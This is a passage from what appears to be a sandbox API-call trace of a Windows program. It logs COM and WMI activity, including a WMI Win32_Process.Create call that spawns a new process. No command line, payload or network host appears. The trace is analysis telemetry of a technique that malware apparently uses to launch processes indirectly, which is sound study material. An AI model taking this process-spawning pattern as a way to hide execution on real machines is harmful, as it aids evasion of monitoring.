ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0111.598] IUnknown:QueryInterface (in: This=0x1b4cf3f0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4cf3f8) returned 0x0 [0111.598] IMarshal:GetUnmarshalClass (in: This=0x1b4cf3f8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0111.598] IUnknown:Release (This=0x1b4cf3f8) returned 0x3 [0111.598] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0111.598] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0111.599] IUnknown:QueryInterface (in: This=0x1b4cf3f0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0111.599] IUnknown:Release (This=0x1b4cf3f0) returned 0x2 [0111.599] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0111.599] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0111.599] IUnknown:QueryInterface (in: This=0x1b4cf3f0, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0111.599] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0111.599] IUnknown:QueryInterface (in: This=0x1b4cf3f0, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0111.599] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0111.599] IUnknown:AddRef (This=0x1b4cf3f0) returned 0x3 [0111.599] IWbemClassObject:Put (This=0x1b4ad8d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4cf3f0, varVal2=0x0), Type=0) returned 0x0 [0111.599] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0120, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0111.599] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0120, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0111.599] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0120, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0111.599] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af5e0, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0111.600] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0111.600] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0111.600] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0111.600] WbemLocator:IUnknown:AddRef (This=0x1b4ad0b8) returned 0x3 [0111.600] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad0b8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b4ad0b8) returned 0x0 [0111.600] WbemLocator:IUnknown:Release (This=0x1b4ad0b8) returned 0x3 [0111.600] WbemLocator:IUnknown:Release (This=0x1b4ad0b8) returned 0x2 [0111.600] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0111.600] WbemLocator:IUnknown:AddRef (This=0x1b4ad0b8) returned 0x3 [0111.600] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad0b8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b4ad0b8) returned 0x0 [0111.600] WbemLocator:IUnknown:Release (This=0x1b4ad0b8) returned 0x3 [0111.600] WbemLocator:IUnknown:Release (This=0x1b4ad0b8) returned 0x2 [0111.600] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0120, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0111.600] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0120, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0111.601] IWbemServices:ExecMethod (in: This=0x1b4b38f0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b4ad8d0, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b425ad0, ppCallResult=0x0) returned 0x0 [0111.774] IWbemClassObject:Get (in: This=0x1b425ad0, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28d8108*=0, plFlavor=0x28d810c*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1240, varVal2=0x0), pType=0x28d8108*=19, plFlavor=0x28d810c*=0) returned 0x0 [0111.774] IWbemClassObject:Get (in: This=0x1b425ad0, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28d8108*=19, plFlavor=0x28d810c*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1240, varVal2=0x0), pType=0x28d8108*=19, plFlavor=0x28d810c*=0) returned 0x0 [0111.775] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0111.775] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0111.775] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0111.775] IUnknown:Release (This=0x6124e8) returned 0x1 [0111.776] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4d25c0) returned 0x0 [0111.776] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d25c0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0111.776] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d25c0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4b0ae0) returned 0x0 [0111.776] WbemDefPath:IUnknown:Release (This=0x1b4d25c0) returned 0x0 [0111.776] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4b0ae0) returned 0x0 [0111.777] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0111.777] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0111.777] WbemDefPath:IUnknown:AddRef (This=0x1b4b0ae0) returned 0x3 [0111.777] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0111.777] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0111.777] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4d2280) returned 0x0 [0111.777] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2280, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0111.777] WbemDefPath:IUnknown:Release (This=0x1b4d2280) returned 0x3 [0111.777] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0111.777] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0111.777] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0111.777] WbemDefPath:IUnknown:Release (This=0x1b4b0ae0) returned 0x2 [0111.777] WbemDefPath:IUnknown:Release (This=0x1b4b0ae0) returned 0x1 [0111.777] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0111.778] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0111.778] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0ae0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4b0ae0) returned 0x0 [0111.778] WbemDefPath:IUnknown:AddRef (This=0x1b4b0ae0) returned 0x3 [0111.778] WbemDefPath:IUnknown:Release (This=0x1b4b0ae0) returned 0x2 [0111.778] WbemDefPath:IWbemPath:SetText (This=0x1b4b0ae0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0111.778] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0ae0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0111.778] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0111.778] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0ae0, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0111.778] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0ae0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0111.778] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0ae0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0111.778] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0ae0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0111.778] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0111.779] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0111.779] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0111.782] IUnknown:Release (This=0x6124e8) returned 0x1 [0111.783] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4d2440) returned 0x0 [0111.783] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2440, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0111.783] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2440, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4b01e0) returned 0x0 [0111.783] WbemDefPath:IUnknown:Release (This=0x1b4d2440) returned 0x0 [0111.783] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4b01e0) returned 0x0 [0111.783] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0111.783] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0111.784] WbemDefPath:IUnknown:AddRef (This=0x1b4b01e0) returned 0x3 [0111.784] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0111.784] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0111.784] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4d1fc0) returned 0x0 [0111.784] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1fc0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0111.784] WbemDefPath:IUnknown:Release (This=0x1b4d1fc0) returned 0x3 [0111.784] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0111.784] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0111.784] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0111.784] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x2 [0111.784] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x1 [0111.784] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0111.784] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0111.784] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4b01e0) returned 0x0 [0111.784] WbemDefPath:IUnknown:AddRef (This=0x1b4b01e0) returned 0x3 [0111.784] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x2 [0111.784] WbemDefPath:IWbemPath:SetText (This=0x1b4b01e0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0111.784] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0111.784] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0111.784] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0111.784] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b01e0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0111.784] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0111.784] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b01e0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0111.785] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0111.785] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0111.785] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0111.785] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0111.785] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0111.785] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0111.785] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0111.785] IUnknown:Release (This=0x6124e8) returned 0x1 [0111.785] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b4d25c0) returned 0x0 [0111.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d25c0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0111.786] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d25c0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x1b4af0a0) returned 0x0 [0111.786] WbemDefPath:IUnknown:Release (This=0x1b4d25c0) returned 0x0 [0111.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x1b4af0a0) returned 0x0 [0111.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0111.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, 